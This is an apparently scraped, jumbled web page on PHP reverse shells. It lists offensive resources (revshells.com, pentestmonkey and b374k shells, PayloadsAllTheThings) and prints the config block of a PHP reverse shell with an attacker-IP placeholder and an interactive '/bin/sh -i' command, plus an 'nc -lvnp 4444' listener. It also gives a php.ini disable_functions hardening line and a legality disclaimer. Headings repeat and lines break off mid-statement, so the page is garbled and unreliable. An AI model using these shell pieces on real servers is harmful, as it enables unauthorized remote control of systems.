Securing a server against unauthorized reverse shells involves multiple layers of defense:
| Resource | Description | |----------|-------------| | revshells.com | Online reverse shell generator for multiple languages | | pentestmonkey/php-reverse-shell | Original full-featured PHP reverse shell | | ivan-sincek/php-reverse-shell | Cross-platform fork with Windows support | | b374k | Full-featured PHP shell with bind/reverse capabilities | | PayloadsAllTheThings | Extensive reverse shell cheat sheet | | OWASP Web Shell Detection | Comprehensive guide to detection and prevention | reverse shell php install
$ip = '127.0.0.1'; // CHANGE THIS TO YOUR ATTACKER IP $port = 1234; // CHANGE THIS TO YOUR LISTENER PORT $chunk_size = 1400; $shell = 'uname -a; w; id; /bin/sh -i'; $debug = 0; Installing/Executing a PHP Reverse Shell
nc -lvnp 4444
In your php.ini , add: disable_functions = exec,shell_exec,system,passthru,popen,proc_open $shell = 'uname -a
: Only execute this code on systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal.
The script runs and connects back to the listener, establishing a command-line interface. Installing/Executing a PHP Reverse Shell